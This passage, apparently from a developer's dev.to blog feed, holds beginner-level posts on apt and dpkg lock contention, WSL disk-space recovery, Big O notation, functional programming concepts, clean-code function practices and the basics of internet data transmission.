&lt;p&gt;Check &lt;code&gt;/var/log/unattended-upgrades&lt;/code&gt; for the frequency of unattended-upgrades, it should be running periodically once enabled but have seen it ran at irregular frequencies unsure why. It is also a good idea to check syslogs, dpkg logs and check the individual config for apt-daily timers, and cron config. You can run the following to see the scheduled upcoming timers and last ran, look for &lt;code&gt;apt-daily-upgrade.timer&lt;/code&gt; and &lt;code&gt;apt-daily.timer&lt;/code&gt; Unit in the output table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl list-timers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Resolving dpkg Lock Contention in Ubuntu Deployments
&lt;/h2&gt;

&lt;p&gt;We should look to disable unattended-upgrades during the cloud-init process and re-enabling it afterwards.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Increase DPKG lock timeout in script&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt-get -o DPkg::lock::Timeout=600 [insert-your-command]
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;unattended-upgrades&lt;/code&gt; can take up to 10 minutes (or more) to complete, &lt;br&gt;
ensure you set an appropriate timeout to allow sufficient time for the &lt;br&gt;
upgrades. See &lt;a href="https://blog.sinjakli.co.uk/2021/10/25/waiting-for-apt-locks-without-the-hacky-bash-scripts/" rel="noopener noreferrer"&gt;Waiting for apt locks without the hacky bash scripts&lt;/a&gt; for more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Disable &lt;code&gt;unattended-upgrades&lt;/code&gt; during the initialisation process and re-enabling it afterwards.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl stop unattended-upgrades
# execute your custom script with apt-get commands
sudo systemctl start unattended-upgrades
sudo unattended-upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Consider adding the following line to the start of your script to &lt;a href="https://gist.github.com/mohanpedala/1e2ff5661761d3abd0385e8223e16425" rel="noopener noreferrer"&gt;fail immediately&lt;/a&gt; once it hits an error for early error detection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set -euo pipefail
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Glossary
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is dpkg?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;dpkg&lt;/code&gt; (Debian Package Manager) is the low-level package management tool used in Debian-based Linux distributions (like Ubuntu). It handles the installation, removal, and management of &lt;code&gt;.deb&lt;/code&gt; packages. However, dpkg does not handle dependencies automatically—if a package requires other software to function, &lt;code&gt;dpkg&lt;/code&gt; won’t fetch them automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is aptitude?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;aptitude&lt;/code&gt; is a higher-level package manager that works as a user-friendly interface for &lt;code&gt;dpkg&lt;/code&gt;. It provides advanced dependency resolution and additional features. &lt;code&gt;aptitude&lt;/code&gt; is similar to &lt;code&gt;apt&lt;/code&gt; (&lt;code&gt;apt-get&lt;/code&gt;), but it offers a more interactive interface, allowing users to browse and manage packages easily.&lt;/p&gt;

&lt;p&gt;Key features of aptitude:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Handles dependencies automatically (unlike &lt;code&gt;dpkg&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Provides a text-based interactive UI&lt;/li&gt;
&lt;li&gt;Can be used as a command-line tool like &lt;code&gt;apt-get&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>terraform</category>
      <category>devops</category>
      <category>infrastructureascode</category>
    </item>
    <item>
      <title>WSL Error: no space left on device</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Sun, 14 Apr 2024 22:20:40 +0000</pubDate>
      <link>https://dev.to/yulin/wsl-error-no-space-left-on-device-28e0</link>
      <guid>https://dev.to/yulin/wsl-error-no-space-left-on-device-28e0</guid>
      <description>&lt;p&gt;Are you running Ubuntu or some kind of Linux distribution inside of Windows Operating System, and all of a sudden you're getting the error while you are on your code editor&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nospc ENOSPC: no space left on device


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Your code editor, let's say VS Code server, won't connect to WSL anymore and you're stuck with local changes you haven't yet commit to Github.&lt;/p&gt;

&lt;p&gt;Run &lt;code&gt;wsl df -h /&lt;/code&gt; in your Powershell and you shall see that the assigned virtual hard disk for your Linux distribution has reached 100% - it is time to expand the allowed space for file storage within the Linux environment. Learn to manage WSL disk space and resize virtual hard disk &lt;a href="https://learn.microsoft.com/en-us/windows/wsl/disk-space" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After you have expanded the virtual disk for the Linux distribution following the link above, when you are attempting to spawn VS Code from WSL using &lt;code&gt;code .&lt;/code&gt;, you could encounter a module not found error if your VS Code closed unexpectedly as a downstream consequence of the no space left inside your WSL instance, an example of such error is&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

Loading &lt;span class="s2"&gt;"minimist"&lt;/span&gt; failed
Error: Cannot find module &lt;span class="s1"&gt;'minimist'&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaw3d8qe70p34yj5r7ib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaw3d8qe70p34yj5r7ib.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reason for this error could be that the remote WSL connection was closed off and killed the VS Code server on WSL, and then the module is removed/corrupted on the remote host.&lt;/p&gt;

&lt;p&gt;You should first try to reboot and shutdown all wsl instances using &lt;code&gt;wsl --shutdown&lt;/code&gt;. If none of that worked, you can delete the &lt;code&gt;.vscode-server&lt;/code&gt; folder entirely in your WSL home directory, and then spawn VS Code from a WSL prompt as usual using &lt;code&gt;code .&lt;/code&gt; to initiate a reinstallation of the VS Code remote.&lt;/p&gt;

&lt;p&gt;Be aware that the deletion of &lt;code&gt;.vscode-server&lt;/code&gt; folder &lt;strong&gt;will remove all your extensions&lt;/strong&gt; as well, so it's better to keep a backup of the extensions before you remove the &lt;code&gt;.vscode-server&lt;/code&gt; folder&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="nb"&gt;mv&lt;/span&gt; ~/.vscode-server/extensions ~/.vscode-server-backup/extensions


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; ~/.vscode-server


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;VS Code should now open up successfully from WSL, close it off so we can recover the extensions with the following commands.&lt;/p&gt;

&lt;p&gt;Remove the new automatically created extensions folder:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; ~/.vscode-server/extensions


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;and copy over the backed up extensions:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="nb"&gt;mv&lt;/span&gt; ~/.vscode-server-backup/extensions ~/.vscode-server/extensions


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now if you start up VS Code again, it should connect and work as well as before.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>wsl</category>
      <category>vscode</category>
      <category>debug</category>
    </item>
    <item>
      <title>Efficiency of Programs: What is the Big O Notation?</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Wed, 08 Feb 2023 17:19:30 +0000</pubDate>
      <link>https://dev.to/yulin/efficiency-of-programs-what-is-the-big-o-notation-4kf7</link>
      <guid>https://dev.to/yulin/efficiency-of-programs-what-is-the-big-o-notation-4kf7</guid>
      <description>&lt;p&gt;When we talk about efficiency of a program, the first thing jumps to mind is the running time. The actual running time of your program depends on&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;what machine it is running on&lt;/li&gt;
&lt;li&gt;what other tasks the machine is doing asynchronously &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As memory requirement of your program increases, the program slows down, not because the machine is running out of memory but the program is competing with other programs running on computers. The OS is putting things in and out of memory, the higher the memory load the more time you lose for the program to not be in memory.&lt;/p&gt;

&lt;p&gt;Therefore to measure the efficiency of your algorithm, time is not the best metric, instead &lt;strong&gt;count the number of primitive constant time operations&lt;/strong&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Orders of Growth: The Big O notation
&lt;/h1&gt;

&lt;p&gt;In mathematical terms, we say running time t as a function of input size n &lt;code&gt;t(n)&lt;/code&gt;, is a member of, say quadratic time &lt;code&gt;O(n |-&amp;gt; n^2)&lt;/code&gt;, but doesn't equate to it. The constant factors have been omitted because we're considering large inputs which the constant factors are miniscule in comparison to the variable factor.&lt;/p&gt;

&lt;p&gt;The Big Theta Notation often used interchangeably with the Big O Notation, it tells you how closely related t(n) and n are.&lt;/p&gt;

&lt;p&gt;Worth noting that Big O Notation represents the &lt;strong&gt;worst case&lt;/strong&gt; scenario (&lt;a href="https://stackoverflow.com/questions/471199/what-is-the-difference-between-%ce%98n-and-on" rel="noopener noreferrer"&gt;read more&lt;/a&gt;)&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If an algorithm is of Θ(g(n)), it means that the running time of the algorithm as n (input size) gets larger is proportional to g(n).&lt;br&gt;
If an algorithm is of O(g(n)), it means that the running time of the algorithm as n gets larger is &lt;strong&gt;at most&lt;/strong&gt; proportional to g(n).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are some common families of time complexity per type of algorithms:&lt;br&gt;
1.For searching algorithms, in order of increasing time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Θ(1) constant time, e.g. hash table&lt;/li&gt;
&lt;li&gt;Θ(log n)&lt;/li&gt;
&lt;li&gt;Θ(n) linear time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.For sorting algorithms, in order of increasing time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Θ(n log n), e.g. cutting data structure in halves, and continuously sorting in halves in a binary search tree&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Θ(n^2) quadratic time&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.For matrix algorithms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Θ(n^2)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;4.Intractable running times:&lt;/p&gt;

&lt;p&gt;Theoretically we can write programs to have such running time, but practically the program would never finish running for large input size. You need an approximate solution that is good enough:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Θ(2^n)&lt;/li&gt;
&lt;li&gt;Θ(n!)&lt;/li&gt;
&lt;li&gt;Θ(n^n)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Case Study: Recursion and Iteration
&lt;/h1&gt;

&lt;p&gt;In recursion, each recursive call to the function has to set aside memory for its input, until a base case is found then the inner-most procedure reports back to the parent procedures and starts evaluation on the way out. This isn't a question about the running time, but the memory usage which is linear to the size of the problem.&lt;/p&gt;

&lt;p&gt;Iterative approach does evaluations on the way in, when you reach the base case the whole computation is already complete. All the work is done prior to the recursive call, there's no need to remember which procedure is waiting for the intermediate answer and only one chunk of memory is needed for the final answer.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;First get the program to work, and then worry about efficiency. You should not take preference of iterative because it is more efficient, it is better to get the procedures running correctly and readable. An ounce of mathematics is worth a pound of computing.&lt;/p&gt;




&lt;p&gt;Credit to Berkeley The Structure and Interpretation of Computer Programs lectures.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>beginners</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Why is Functional Programming Important? An Introduction to Computer Science</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Thu, 26 Jan 2023 16:46:36 +0000</pubDate>
      <link>https://dev.to/yulin/functional-programming-and-intro-to-computer-science-5838</link>
      <guid>https://dev.to/yulin/functional-programming-and-intro-to-computer-science-5838</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Learning&lt;/strong&gt; happens when the attention is &lt;strong&gt;focussed&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you don't have a good theory of learning, then help yourself focus by removing interference.&lt;/p&gt;

&lt;p&gt;Now let's begin by defining what is computer science.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Computer Science&lt;/strong&gt; is perhaps the wrong name for the field, it is neither about science nor computers (electrical engineering is the study of machines). Programming is more like engineering where the building takes majority of the time, so software engineering would've been a more suited term. However, software engineering has already been taken to represent a whole philosophy of other things. In software engineering there are two areas you should build your understanding in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;complexity engineering, control of complexity&lt;/li&gt;
&lt;li&gt;programming paradigms (e.g. functional programming)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It helps to answer the question: &lt;em&gt;why is there more than one programming language?&lt;/em&gt; Different languages have different design principles; for example, in scheme everything is first class, in another language it could be that everything is efficiently compile-able.&lt;/p&gt;

&lt;p&gt;Being able to implement compact computer programs is an important part of &lt;strong&gt;computer literacy&lt;/strong&gt;. There are three parts to computer literacy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;access literacy, or reading code&lt;/li&gt;
&lt;li&gt;creative literacy, or writing code&lt;/li&gt;
&lt;li&gt;genre literacy, or adapting to different literatures&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Why is the idea of function important?
&lt;/h1&gt;

&lt;p&gt;Firstly, functions are well understood by theoreticians, and it is easier to do reasonings about a computer software system that is built functional. &lt;/p&gt;

&lt;p&gt;Computers can do more than one task at a time, this is even truer these days because there are multi-core processors on one chip. If your program is entirely made of functions, the function is by definition unaffected by the behaviour of the rest of the program. The program can be run in &lt;strong&gt;parallelism&lt;/strong&gt;, which is why most people care about functional programming.&lt;/p&gt;

&lt;p&gt;You can also compose composition functions without having lots of parameter variables lying around. In Pascal, you can use function as input to another function, but not as return value. It is an arbitrary restriction, because relatively hard for compilers to allow functions as return values.&lt;/p&gt;

&lt;h1&gt;
  
  
  Terminologies
&lt;/h1&gt;

&lt;p&gt;A function takes some inputs and gives some outputs, and it will always deterministically give you the same outputs given the same inputs. If a function depends on some external variable, then it is not a function because you won't always get the same outputs. The &lt;strong&gt;domain&lt;/strong&gt; of a function is the kinds of things the function takes as arguments, and the &lt;strong&gt;range&lt;/strong&gt; is what it returns as results.&lt;/p&gt;

&lt;p&gt;A predicate is a function that returns true or false, in other words, a predicate is a function whose range is boolean.&lt;/p&gt;

&lt;p&gt;A procedure is a sequence of steps for computing a function; same function can have different procedures. Inside the computer, there are only procedures.&lt;/p&gt;

&lt;p&gt;A procedure is functional if it always creates new values and change nothing about inputs, that new values may or may not point to the same memory as inputs. &lt;/p&gt;

&lt;p&gt;For a function &lt;code&gt;f(x) (* x x)&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;x is the &lt;strong&gt;formal parameter&lt;/strong&gt;, a name for the placeholders of arguments in a function, which will later be substituted with actual argument expression or actual argument value&lt;/li&gt;
&lt;li&gt;(* x x) is the function, a prefix notation of multiplication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Calling the function can look like: &lt;code&gt;f (+ 2 3)&lt;/code&gt;, where the expression in bracket is called the &lt;strong&gt;actual argument expression&lt;/strong&gt;. The &lt;strong&gt;actual argument value&lt;/strong&gt; is 5 which is invisible.&lt;/p&gt;

&lt;p&gt;When we say &lt;em&gt;input or argument of a function&lt;/em&gt;, it can mean any of the three: formal parameter, actual argument expression, or actual argument value.&lt;/p&gt;

&lt;h2&gt;
  
  
  Special Form
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Special-Forms.html" rel="noopener noreferrer"&gt;Special Form&lt;/a&gt; is a primitive function where not all its arguments are evaluated, it has its evaluation rules following variable bindings.&lt;/p&gt;

&lt;p&gt;Recursion is an example of special form, the first recursion cannot be fully evaluated, otherwise end up in an infinite loop of running the recursive call in the condition statement. The conditional statement has its own evaluation rule and terminates once it finds a base case. As a side note, the base case should always come before the recursive call, otherwise you won't ever find out if it has hit the base case.&lt;/p&gt;

&lt;p&gt;Other examples of special form are the if-then-else conditional statement, and defining a function. So a special form is really a special expression with a predefined language keyword as the name.&lt;/p&gt;

&lt;p&gt;There are two types of evaluation based on the order:&lt;/p&gt;

&lt;h3&gt;
  
  
  Applicative Order Evaluation： evaluate the arguments and then apply
&lt;/h3&gt;

&lt;p&gt;Evaluate all the argument sub-expressions to turn all the actual argument expressions into actual argument values. Then pass the actual argument values to procedures, by substituting the formal parameters in the body of the procedures. This is illustrated in the example above.&lt;/p&gt;

&lt;h3&gt;
  
  
  Normal Order Evaluation： fully expand and then reduce
&lt;/h3&gt;

&lt;p&gt;Take the actual argument expressions and substitute them in the function body. Nothing gets evaluated until a primitive is called.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Why does order matter?&lt;/em&gt;&lt;br&gt;
When you have a non-functional argument where you'd get a different output each time e.g. a random integer, the normal order evaluation will give you different answers each time. Functional programming protects you to having think about what's going on and where inside the computer.&lt;/p&gt;

&lt;h1&gt;
  
  
  Function as Data: Generalising Patterns
&lt;/h1&gt;

&lt;p&gt;In everyday language, we categorise words into nouns, verbs, etc. In programming by metaphor, data is the noun and procedures are the verbs. However, this is not how it works in programming, the line between data and function is blurred.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Higher order procedures&lt;/strong&gt; either take a procedure as an argument or returns a procedure. A higher order procedure represents a higher order function, it does that in order to generalise patterns. &lt;/p&gt;

&lt;p&gt;Taking function as an argument in another function, the argument does get evaluated in an applicative order, but evaluating is not the same as invoking. Evaluating recognises the argument is a function with certain name, invoking runs the nested function with arguments.&lt;/p&gt;

&lt;p&gt;In other words, treat functions as data, i.e. &lt;strong&gt;first class data types&lt;/strong&gt;. Function names are no different than variable names, with their values being the lambda expression with formal parameters and body. You can use procedures as data to build any control mechanism you want.&lt;/p&gt;

&lt;p&gt;A data type is first class in a language if things of that type can be value of a variable (i.e. assigning a procedure in this case), or can be anonymous (a lambda function, procedure without name). A first class data type can be a member of an aggregate e.g. an array. Here's a list of capabilities for a first class type in no particular order:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the value of a variable&lt;/li&gt;
&lt;li&gt;anonymous&lt;/li&gt;
&lt;li&gt;argument to a procedure&lt;/li&gt;
&lt;li&gt;value returned by a procedure&lt;/li&gt;
&lt;li&gt;a member of an aggregate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In every language, numbers are first class. Characters in a string are first class in some languages, but not all (e.g. C). Data aggregates are rarely first class, but pointers to the aggregates are. Hardly any language gives procedures as first class, but that's changing e.g. Python has lambda, Java has anonymous class.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A powerful programming language should not only provide means to instruct computers to do tasks, but also serve as a framework within which you can organise your ideas about procedures. This is achieve through three things: primitive expressions, means of combining and abstracting elements.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;Credit to Berkeley The Structure and Interpretation of Computer Programs lectures.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>functional</category>
      <category>newbie</category>
    </item>
    <item>
      <title>How to Write Clean Code? A Chapter on Functions and Names</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Wed, 19 Oct 2022 14:37:50 +0000</pubDate>
      <link>https://dev.to/yulin/clean-code-in-a-nutshell-functions-27em</link>
      <guid>https://dev.to/yulin/clean-code-in-a-nutshell-functions-27em</guid>
      <description>&lt;p&gt;No one writes clean code from the get go, our first attempt is always to make the code run and heavily biassed towards code production speed than code quality. Many developers skip the cleaning step because it takes about same amount of time it took to write the code. &lt;/p&gt;

&lt;p&gt;As a developer, there are &lt;strong&gt;two&lt;/strong&gt; parts to your job&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Communicate with computers&lt;/li&gt;
&lt;li&gt;Communicate with peers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Getting the code run (communicate with computers) is only half of the job, and it is the least important. You must write code that is maintainable by someone else(communicate with peers) .&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The only way to go fast is to go well.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  What is Clean Code?
&lt;/h2&gt;

&lt;p&gt;Clean code is a piece of code which make up a function that does &lt;strong&gt;one&lt;/strong&gt; thing well. How do you define or measure one thing? Objectively speaking, you know you have a clean code if you cannot extract out another meaningful function from it.&lt;/p&gt;

&lt;p&gt;Clean code is simple and direct, reads like well written prose.&lt;/p&gt;

&lt;p&gt;Clean code looks like written by someone who cares.&lt;/p&gt;

&lt;p&gt;Clean code is when each routine you read is exactly as you expect, and there are no surprises.&lt;/p&gt;

&lt;h2&gt;
  
  
  Good Practices for Functions
&lt;/h2&gt;

&lt;p&gt;Function names should be &lt;strong&gt;verbs&lt;/strong&gt;, because functions carry out actions.&lt;/p&gt;

&lt;p&gt;Function should take no more than &lt;strong&gt;3 arguments&lt;/strong&gt;, because the number of ways to place the arguments increases factorially. For large number of arguments, make an object or use other data structures. Don’t pass boolean into functions in most cases, because it means the function must have an if statement in the function body, better to have two separate functions and call the corresponding one in each case. For a group of functions that manipulates a common set of variables, use a &lt;strong&gt;class&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As aside to function inputs, outputs out of context can be distracting too. If returning error, prefer exceptions to returning error codes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The First Rule of Functions&lt;/strong&gt;:&lt;br&gt;
Function bodies should be small, which means they should do one thing. Continuously extract logics from them until you can't anymore. You will end up with a semantic tree of functions with function names, packages and modules.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Every line of a function should be at the &lt;strong&gt;same level of abstraction&lt;/strong&gt;. It is like journalism, level of details increases as you read on and each title is self explanatory. It allows readers to exit early and only read parts that are interesting to them. Bad code means readers have to understand and read each and every single line of code without choice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Avoid switch statements&lt;/strong&gt;, it is fragile and not easily adaptable. There are two associated drawbacks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;One should be able to extend the behaviour of a module without modifying it, which is not possible with switch statements. Creating base classes instead would solve such problem.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Open-Closed Principle&lt;/strong&gt; (one of SOLID principle): a module should be open for extension but closed for modification. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Switch statements act as a dependency magnet, makes it difficult to &lt;strong&gt;independently compile and deploy programs&lt;/strong&gt; e.g. jar file is a runtime linking loader, so you can independently deploy parts of program like the GUI which constantly changes (Isolate GUI from business rules and database).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use &lt;strong&gt;explanatory variables&lt;/strong&gt; where appropriate to explain context/content.&lt;/p&gt;

&lt;p&gt;Don't repeat yourself - DRY principle.&lt;/p&gt;

&lt;h2&gt;
  
  
  Structure of Functions
&lt;/h2&gt;

&lt;p&gt;There are two types of functions: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;command&lt;/strong&gt; functions have side effects, change state of the system&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;query&lt;/strong&gt; functions have no side effects, simply return values&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Side effect functions come in pairs (e.g. new-delete, open-close), pairs of functions must be called in the right order, so contain the pair within the same function make more sense to avoid memory leaks (usually such function will return void). Garbage collection makes it easy to forget free allocated memories. &lt;/p&gt;

&lt;p&gt;By convention, you should aim for &lt;strong&gt;command and query separation&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Every algorithm can be written out of sequence, iteration, selection(if-else), so then algorithm can be proven correct (&lt;a href="https://stackoverflow.com/questions/2545103/is-there-a-goto-statement-in-java"&gt;No goto statements in Java&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However, programming is not the exact equivalent to math theorems, we write tests to prove the software is &lt;strong&gt;not incorrect&lt;/strong&gt; instead of proving it to be correct.&lt;/p&gt;




&lt;p&gt;credit &lt;a class="mentioned-user" href="https://dev.to/clean"&gt;@clean&lt;/a&gt; Code Uncle Bob Lesson 1&lt;/p&gt;

</description>
      <category>java</category>
      <category>cleancode</category>
      <category>beginners</category>
      <category>discuss</category>
    </item>
    <item>
      <title>What is the Internet? How is Data Transmitted Across Networks?</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Thu, 30 Jun 2022 16:37:19 +0000</pubDate>
      <link>https://dev.to/yulin/what-is-the-internet-23m0</link>
      <guid>https://dev.to/yulin/what-is-the-internet-23m0</guid>
      <description>&lt;p&gt;The web is one of the many applications to access the internet, and web browsers are just a computer program that enables you to view and download webpages. What happens when you click enter on the address bar?&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the Internet?
&lt;/h2&gt;

&lt;p&gt;The internet is a decentralised network of networks (of computers). Each connected computer have an unique address called IP (Internet Protocol) address. The internet is composed of three parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The last mile&lt;/strong&gt;, provided to homes and businesses through TV companies, fibre optics, telephone cables, towers (wireless).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data centres&lt;/strong&gt;, rooms of servers that store data and host content.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The backbone&lt;/strong&gt;, networks that carry data between data centres and consumers.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Data Centres &amp;lt;--&amp;gt; Backbone &amp;lt;--&amp;gt; Last Mile (Consumers)&lt;/p&gt;

&lt;p&gt;You can use the built-in &lt;em&gt;ping program&lt;/em&gt; to see if your computer is alive on the internet. Open the terminal and type the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping www.google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The ping program maps the domain name to the computer's IP address, sends a ICMP (Internet Control Message Protocol) request and comes back with a reply.&lt;/p&gt;

&lt;h2&gt;
  
  
  Transmission of Data
&lt;/h2&gt;

&lt;p&gt;The human readable data needs to be resolved into electronic signals for machines before it reaches the backbone, protocol stack in the operating system takes care of this job.&lt;/p&gt;

&lt;p&gt;Message on the sender machine goes through 4 protocol layers in a broad sense:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Application Protocol Layer&lt;/strong&gt;, where user interacts and specific for each application e.g. HTTP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transmission Control Protocol (TCP) Layer&lt;/strong&gt;, directs packets of data to the correct application (i.e. listening port) once it arrives on the target computer&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internet Protocol Layer&lt;/strong&gt;, packets directed to computer associated with the IP address&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardware layer&lt;/strong&gt;, converts between binary data and network signals&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;TCP/IP standard is the foundation of modern internet, which is why the protocol stack is also known as TCP/IP stack.&lt;/p&gt;

&lt;p&gt;The packets then will make their journey through several routers and backbones until they find the target destination. Each router knows its sub-networks and holds an IP address table for that region, it acts as a packet switch to direct packets in the routing hierarchy. Use the &lt;em&gt;trace route program&lt;/em&gt; to see the path taken in action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;traceroute www.google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the receiver side, the packets of data goes through the layers in reverse order to reconstruct the original message. &lt;/p&gt;

&lt;h2&gt;
  
  
  Well Known Port Numbers
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
